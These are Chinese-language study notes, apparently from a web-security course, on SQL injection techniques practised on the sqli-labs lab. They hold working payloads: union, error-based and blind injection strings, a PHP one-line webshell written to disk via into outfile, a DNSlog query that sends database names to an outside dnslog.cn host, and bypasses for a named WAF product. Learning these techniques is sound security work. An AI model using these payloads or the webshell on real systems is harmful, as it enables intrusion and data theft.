意义是:用户在提交表单时输入恶意的sql语句,欺骗后端把其当作正常的数据执行
注入方式分类有两种
按照注入方式分:union注入、布尔盲注、时间注入、报错注入
按照注入点类型分:字符型、数字型
一、按照注入点类型的sql注入步骤:
1-寻找注入点
2-判断注入点类型,是数字型还是字符型
3-如果是字符型则根据真假页面或者报错语句判断闭合方式
【一般字符型要进行多个测试挨个试】
【闭合符之间的不同类型闭合符往往不会报错,因为两边有同种闭合符把中间的闭合符的功能给过滤掉了】
【闭合符判断错误的表现:错误的sql语句,页面正确回显】
【例如:闭合符为((‘$id’)),倘若$id=1“,此时不会报错】
【确定闭合符后可以再加and 1=1、and 1=2 判断闭合符是否使用正确】
4-判断回显列数 group by/order by(WAF防御监控比较严格)
5-判断回显位 union select 并且将前面的语句判定为假值
二、union注入
步骤: 1-拿到当前数据所在数据库库名
2-进入到information_schema.tables中找当前数据库里的所有表
3-拿到表名之后,进information_schema.columns中找步骤2的表中的列
4-有表名有列名,直接输出
group_concat() 确保所有查询信息能放到一行显示出来
3-表名太多,于是将拿到的表名进行过滤,where table_schema=database()
4-拿到想要的表后过滤去informaion_schema.columns拿想知道列,也用where语句过滤
5-知道列,知道表,group_concat()拿吧
三、报错注入
***一次只返回32个字符
所以使用substring()函数
substring([控制输出的字符串],[从哪儿显示],[一共显示几个字符])
12种大约
什么时候需要用显错注入?::拿到注入点页面关键信息不回显的时候,利用数据库报错来回显
1-extractValue()报错注入 查询xml里面的内容 select extractValue(=数据库的列名=,=要查找的数据内容路径=)
*原理:输错第二个参数,即把查询参数格式符号写错,就会报错,所以:
格式不重要,重要的是出现显错的内容,根据显示出来的错误来看自己想要的东西
select 1,2,extractValue(1,concat(0x7e,(select database())))
拼接 1,2【执行的命令】
2-updateXml()报错注入 updateXml(XML_document,XPath_string,new_value)
XML_document: string格式,是XML对象名称
XPath_string: 路径,XPath格式的字符串
new_value: string格式,替换查找到的符合条件的数据
原理:输错第二个参数
3-floor报错【难度最高,函数多,报错抽象】
rand(k):随机返回0~1之间的小数
k:随机数种子,实际上rand函数是一种伪随机
floor()函数:向下取整
ceiling():向上取整
concat_ws(1,2,3):括号内的数据用第一个字段连接起来
1:用什么来拼接2,3字符串
2、3:被拼接的字符串
group by: 分组语句,对结果进行分组
as:起别名
便于统计数量
count():统计数量
此时出现报错【实属偶然】下一次就不一定报错的
- 如何固定报错?尝试切换rand种子数,试出一定会报错的伪随机数k
- 为什么【count()+floor()】有时候会报错?
-
- 官方废话:rand()函数进行分组group by和统计count()时可能会多次执行,导致键值key重复
- 人话:如果要分组统计,分组名重复,在上面的选项是指security*1和 security*0重复【如果写入group_key中,key值不存在则要将数据返回在进行一次计算存入,即第一次存的实际上为第二次计算】
-
limit:用于显示指定行数
select rand() from [表名] : 用来统计表的行数,最后出来的数据有多少行,意味着rand()执行多少次,表里的数据就有几行
找到报错的种子数k,就可以进行floor报错注入了
Limit 0,1:从0开始显示第1行
四-盲注:页面无报错回显【观察页面是否有真假值】,不知道数据库具体返回值的情况下,对数据库中的内容进行猜解,实行sql注入
- 布尔盲注【basic】
【**原理】根据web页面只返回True真,False假两种类型,利用页面的返回不同,逐个猜解数据
所用函数:ascii() 字符变成其ASCII码对应的数字
Q:为什么字母要变成数字???
数字更好找,更好进行比较,效率更高【其实字母也行】
盲注中查询命令可以执行,但是不回显
所以用ascii()把查询到的内容转换成数字,用真假页面的显示判断数字对应的字母是什么
【挨个比】
>select ascii((select database())) *ascii()函数只转换第一个字符
所以用到第二个函数:substring((),1,1)
>select ascii(substr(1,2,3)) à select ascii(substr((select database()),1,1))
>select ascii(substr(1,2,3)) à select ascii(substr((select database()),2,1))
例如:
当前页面不回显,表明页面为假,即ascii函数里的database()的第一个字符<130
当前页面回显,表明页面为真,即ascii函数里的database()的第一个字符>=110
利用二分法判断出database()函数的返回值第一个字符的ascii码为115,对应的字符为s
第一个字符完成依此类推,每个都遍历一遍,最后推算出database()的结果
得到的每个字符判断其ascii码的大小【二分法】,最后拼接
- 时间盲注
前提:数据库执行代码,只是页面信息不做反馈
函数:sleep(n) 数据库执行语句后等待n秒后进行反馈
参数是休眠时常,单位是秒,可以是小数
因为页面不回显,所以用正常方法无法判断注入点类型,所以用sleep()
url/?id=1‘ and sleep(3)[意思是如果命令正常执行,则页面在三秒钟后进行反馈,根据页面响应时常判断自己的语句执行有无]
闭合方式根据页面响应时间判断
If(1,2,3)
1:判断条件,返回值为bool类型
2:为真执行的内容
3:为假执行的内容
因此,可以利用页面响应时间来判断语句1的真假,语句1可以放入布尔盲注里面的ascii()函数比大小,根据页面响应时间长短来判断语句1的结果为真为假,后面步骤同布尔盲注
五-注入文件上传【mysql对服务器的写权限,进行文件上传拿到webshell】
用法:写在url中;网页有文件包含(任何目录下)同时数据库有写入权限
要点: 1-查看mysql对当前服务器是否有读写文件权限
【show variables like ‘%secure%’】
NULL为无法读写
【如何修改?】
找到mysql配置路径下的my.inf文件,在里面添加
【
secure_file_priv = /home
表示限制为/home文件夹
或者
secure_file_priv =
表示不限制目录,等号一定要有,否则mysql无法启动
】字段
2-数据库的file权限规定了数据库用户是否有权限,向操作系统内写入和读取已存在的权限;
3-into outfile命令(文件写入命令)使用的环境:必须知道一个,服务器上可以写入文件的文件夹的完整路径
注入文件上传目标:上传一句话木马*
一句话木马:<?php @eval($_POST(‘password’));?>
【内部闭合符最好与外部不同】
指 令:
Password为预留密码
D:\\phpstudy_pro\\WWW\\ 文件路径
a.php 为新插入的文件名
页面会报错,但是命令已经执行
【windows报警显示后门文件】
六-DNSlog手动注入【盲注,但是效率更高】
前提:当前服务器读取写入权限已开启
函数:load_file() 读取本机或者网络上共享出来的文件
UNC路径:UNC(Universal Naming Convention,通用命名约定)路径是用于访问局域网(LAN)中共享资源的路径格式。UNC路径使用两个反斜杠(\\)后跟计算机名称或IP地址,然后是共享资源的名称。
UNC路径的格式如下:
\\servername\sharename
\\计算机名称或IP地址\共享资源名称
例如,假设有一个共享文件夹在计算机名为"Server"的计算机上,共享名称为"SharedFolder",那么完整的UNC路径将是:
\\Server\SharedFolder
可以通过在文件资源管理器中的地址栏中输入UNC路径来访问共享资源,或者在命令提示符中使用UNC路径来执行一些命令操作。
***UNC路径只在局域网环境中有效,无法在公共互联网上使用。
[mysql读取的时候用//]
站点:dnslog.cn
原理:在域名前加任何域名都会进行解析并且网页有正常的日志记录
【目标网站解析此域名并在解析之前执行我的恶意sql语句】
此时命令无法执行,因为是错误语句,所以要把各个字符串分开写,随后用concat函数整合
http://127.0.0.1/sql/Less-9/?id=1' and (select load_file(concat(1,2,3))) --+
- 反斜杠
- 执行的SQL语句
- .域名+随意的文件名
http://127.0.0.1/sql/Less-9/?id=1' and (select load_file(concat("//",(select database()),".3ulst1.dnslog.cn/a.txt"))) --+
此时文件读取不出来,但是再dnslog中可以看到
为什么请求一次,日志却出现多次?
服务器在目录里查找目标文件a.txt,因为没有这个文件但是服务器不知道,于是就多查找几次,发现确实没有。。。。。。
<自动化注入>
- github.com/ADOOO/DnslogSqlinj
- pip2 install gevent==1.1.2
- pip2 install termcolor
七-post的union注入
POST提交和GET提交对比
- get提交可以被缓存,post不会
- get提交参数会保留在浏览器的历史记录里,post提交不会
- get提交可以被收藏为书签,post提交不会
- get提交有长度限制,最长2048个字符【根据浏览器不同长度限制也不同】,post提交没有长度要求,不是只允许使用ASCII字符,还可以使用二进制数据
post绕过原理:用户提交的用户名密码放到select语句中查询,看是否在后台数据库中能否找到
典型万能密钥: admin’ or 1=1 #
【此语句永远为真,即使前面用户名admin出错,后方1=1永远为真】
【使用or指令绕过密码验证---因为or有截断性,即成功就不向后面语句执行】
前端源码:
后端源码:
如何注入?
- 发现源码后打开hackbar,在request body中找到post注入点
- 发现有回显,方法按照union注入一样
八-POST报错注入
和get报错注入相同,只不过代码存放在request body中,并且判断闭合方式以及绕过
九-POST时间、bool、DNSlog盲注
十-POST报头注入
【页面看不到明显变化,找不到注入点,可以尝试报头注入】
1-HTTP头user-agent注入
首先要分析页面源代码【关注index.php和sql-connect.php】
发现有check_input()函数作用,对输入的用户名和密码进行检测,以字符的形式输入数据库,而不是以命令的形式进行查询无法在$sql变量中select语句中注入,则只能想在$insert变量所表示的的insert语句中寻找注入点
Uagent,即user-agent【用户代理】,简称UA,它是一个特殊字符串头,使得服务器能够识别客户使用的操作系统及版本、CPU类型、浏览器及版本、浏览器渲染引擎、浏览器语言、浏览器插件等。
内容就是浏览器及版本信息。电脑信息等。
常用用途为限制打开软件,浏览器,以及上网行为管理等。
举例:
$insert = “INSERT INTO ‘security’.’uagents’(‘uagents’,’ip_address’,’username’)VALUES(‘$uagents’,’$IP’,$uname)”
登陆成功后,会把'$uagent,'$IP',$uname的信息插入数据表 uagents
首先要求登陆成功,然后可以修改$uagent参数(没有做check input检查),做报错注入 (只能做报错注入),在插入信息时执行指令导致出错,反馈错误信息,登陆后输出uagent信息包括报错信息,达到注入效果。
代码分析:因为$uagent $ip没有check_input()函数做安全性检测,所以可以在此进行注入
【在phpMyAdmin里进行检测】
关键:登陆成功,才能修改useragent【hackbar;brupsuite】
Proxy:代理 Repeater:重发器
原本浏览器发送数据包直接发送到网卡,网卡将数据发送到指定服务器中,而brupsuit开启代理功能后,直接将其拦截,有时间对数据进行模拟处理,再转发,接收同理也会经历brupsuite但是不拦截
如果浏览器所在主机不是brupsuite所在本机,可以点击add添加物理网卡
看源代码,修改uagent实际上替换的是$uagents 变量,所以替换代码为:
‘ or 1,2,3) #
‘ or updatexml(1,concat(‘~’,(select database())),3),’’,’’) ,2,3) #
要执行or后面的语句,前面的语句要为空
‘闭合前面的单引号
# 注释掉后面原来的语句
- 注入语句updatexml(1,2[concat(‘~’,(select database()))],3)
- =$IP
- =$uname
2-referer注入
分析源代码
此时插入的是两个参数,referer没有安全校验,则可以进行注入
**Referer,即HTTP Referer,是头部信息header的一部分,当浏览器向web服务器发送请求的时候-般会带上Referer,告诉服务器该网页是从哪个页面链接过来的,服务器因此可以获得一些信息用于处理。Referer的正确英语拼法是referrer。由于早期HTTP规范的拼写错误,为了保持向后兼容就将错就错了。
举例:
$insert = “INSTER INTO ‘security’.’referers’(referer,ip_address)VALUES(‘$refer’,’$IP’)”;
登陆成功后,会把‘$referer’,’$IP’的信息插入数据表referers
要求:
- 登陆成功
- 可以修改$referer参数并且没有做check_input检查
- 只能做报错注入
从而在插入信息时执行指令导致出错,反馈错误信息,登录后输出referer信息包括报错信息,达到注入效果
此处替换的是$referer变量
于是添加的是
‘ or extractValue(1,2) #
完整的语句为
‘ or extractValue(1,concat(‘~’,(select database()))),2) #
3-cookie注入
分析源代码
此时cookie相当于临时身份证,某些网站为了辨别用户身份,进行session跟踪而储存在用户本地终端上的数据(经常通过加密),由用户客户端计算机暂时或永久保存的信息。
暂时记录用户个人信息,且可以保存在客户机上
登陆成功,cookie上传后。即可进行cookie注入
十一-sql注入过滤注释符【绕过waf或防火墙】
实体化:使关键字无对应含义【功能性字符变为字符】
如何绕过waf?
从最简单的注入语句开始,一步步增加复杂性,通过此方法判断过滤对象
判断的过程类似于搭积木,一点一点增加积木高度,判断到那个高度容易倒塌,则对其进行优化
观察源代码,查询绕过方案
方法一:双写闭合符绕过注释符
**数字型无需考虑注释符可直接注入
方法二:使用and连接语句使前后语句同行
?id=-1’ union select 1,2,3 and ‘1’=’1
总结:如何绕过 注释符 过滤??
- 数字型不用考虑闭合
- 字符型
- ‘’ 单引号闭合只需要在后面增加一个单引号即可
- “” 双引号闭合只需要在注入语句后增加一个双引号
- (‘’) 单引号括号闭合需要多加一个 or(‘1’)=(‘1
- (“”) 双引号括号闭合需要多加一个 or(“1”)=(“1
十二-and和or过滤绕过
And: 需要满足前后两个条件,一般union注入会用到and
Or: 前后只需满足一个条件,一般报错注入用or
查看源代码:
绕过手法:
- 大小写绕过
例如: ?id=1’ anD 1=1 --+
- 复写过滤字符
例如: ?id=1’ anandd 1=1 --+
[中间连接的and被过滤掉了,剩下两头的an和d又能组成一个and]
- 用&& / %26%26[url编码]替换and,用||替换or
十三-空格过滤绕过方法
过滤黑名单:
绕过手法:
- 使用 + 代替空格
- 使用URL编码代替空格
常见URL编码表示:
- 使用报错注入[不需要空格]
【?id=1000’||extractvalue(1,concat(‘~’,(select database())))||’1’=’1】
或者
[?id=1000’||extractvalue(1,concat(‘~’,(database())))||’1’=’1]
把database()替换
[select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema=database())]
多用括号以达到不是用空格的效果
And和or复写
十四-逗号过滤join绕过
Join实现功能:
查询两张表的内容
具体用法:[外联]
Select u.*,e.* //显示users和email表里的所有列
from users u,emails e //users 的别名 u emails 的别名 e
where u.id=e.id; //两张表想要联合查询必须有相同元素,此时相同元素为id
join实现内联:
select u.*,e.*
from users u join emails e on u.id=e.id
Q:那和逗号过滤有什么关系呢???
想想逗号用在什么地方[union select 1,2,3 查询回显位]
实际上等同于把1,2,3这三个表进行内联表示
于是~~
Union select 1,2,3 # 等价于
union select * from (select 1)a join (select 2)b join (select 3)c
注:逗号被过滤掉的时候,到最终查询用户名密码的时候也会被过滤掉
所以这时候只能够分开展示
十五-union和select绕过
- 大小写绕过
- 复写单词绕过[非循环检查就可以绕过]
- 注释符绕过
Uni/**/on
- 尝试URL编码
十六-宽字节绕过mp4
局限性:
当前数据库编码方式为GBK编码
宽字节注入对抗函数:addslashes()
{addslashes()函数在指定的预定义字符前添加反斜杠。这些字符是单引号(’),双引号(”),反斜线(\),与NUL(NUL字符)}
比如:
$a = "I'm a "good" boy";
我想强调一下good这个单词,输出后用双引号强调,但是此时这个双引号已经和前面和后面的分别闭合,具有功能性;
于是使用addslashes()函数让“good”两边的双引号失去含义
$a = "I'm a "good" boy";
$b = addslashes($a);
echo $b;
转义,例如在单引号'前加反斜线“\”,则会转义没有功能性的字符“‘”
当写入或查询用户名“1‘”时,数据库会识别单引号为闭合符号,要求再输入一个单引号将其闭合,只查询“1”而没办法查询“1‘"
如果输入“1\‘“,\使’失去闭合符的功能,则数据库会识别为“1’”
宽字节绕过前提:数据库编码为GBKB编码【即GBK编码】
百度: GBK编码,是在GB2312-80标准基础上的内码扩展规范,使用了双字节编码方案,其编码范围从8140至FEFE (剔除XX7E),首字节在81-FE之间,尾字节在40-FE之间,共23940个码位,共收录了21003个汉字,完全兼容GB2312-80标准,支持国际标准ISO/IEC10646-1和国家标准GB13000-1中的全部中日韩汉字,并包含了BIG5编码中的所有汉字。
字符\的ASCII码为5C,在其低位范围内,就可能被转换为一个服务器数据库不识别的汉字,能和它组合的字符如0xdf,%815c,%825c,%835c等都可以进行宽字节注入。
Mysql在使用GBK编码的时候,会认为两个字符为一个汉字,所以可以使用一些字符,和经过转义过后多出来的\组合成两个字符,变成Mysql数据库不识别的汉字字符,导致对单引号、双引号的转义失败,使其参数闭合。
【KEY】输入%df‘,本来会转义单引号'为\’,但\(%5c)编码位为92,%df的编码位为223,%df%5c符合GBK取值范围(第一个字节129-254,第二个字节64-254),会解析为一个汉字,这样\就会失去应有的作用
人话:在单引号前加入 %df,和后面addslashes()函数添加的\的编码组合,组成一个汉字
于是乎:
十七—WAF常见绕过手法【安全狗4.0.2655举例】
判断数字型字符型还是最好使用 ?id=1 和 ?id=2-1 判断
/*!*/ :注释里加!,表明虽然是注释,但是里面的命令要执行
/*!50000*/:表示目标服务器的版本号,在这个版本以上的才会执行注释内部命令
关键字不写全,一个一个测,一个一个绕过,发现报错了,要先判断是关键字成对出现(如select …… from 后设定不能加字符串)产生的错误【如何判断并更正?回头找频率高的关键词删除掉一个字符看是否能够成功绕过】 还是 由于单个关键词过滤产生的错误
案例1:逐步检测【关键字不写全,一个一个测,一个一个绕过】,发现union 和 select单独出现可以,但是组合在一起就不行
于是:union /*!90000kkkkk*/ select 让服务器发现union发现
[因为有!,所以服务器认为注释里语句要执行,但是有90000的版本号限制,就执行不了]
案例2:测试到最后发现database()函数运行不了
同理,在database()括号里填入/*!90000kkkkk*/,让服务器认为咱已经给函数设定了参数
十八—WAF常见绕过手法【安全狗 3.5举例】
举例:union select被过滤,则使用 union --+b%0A select 绕过
原理:--+为注释,字母b是随意出现的,只要不是select就好,让服务器判断union后面不是select而是字母b;但是后面的 %0A ,在URL编码里表示换行符,把后面的select语句换到下一行,不在同一行读出
Key2:information_schema 关键字被过滤?
URL中写入:
URL解码:
Join无列名报错注入【页面有报错回显】::
Join内联格式 13*13
报错原因:
内圈查询出来的数据形成的表与外圈查询最终结果的列名重复导致报错
Using()函数,把列名相同的列整合
内联成功后表正常显示
安全狗POST超大数据包绕过【占用WAF检测前多少多少字节的机制占用过滤字段】
写python代码复现
post分块传输绕过waf安全狗
【要传输的数据块打散并标注出对应长度】
正常: id=1
分块:在http头表名是分块传输 加入请求头: Transfer-Encoding:Chunked
字段拆开:
1
i //i
2
d= //d=
1
1 //1
0
[此处要留两个回车,否则相应页面为空白]
sql注入的防御
1-使用预编译语句
2-严格控制数据类型
3-将特殊字符进行转义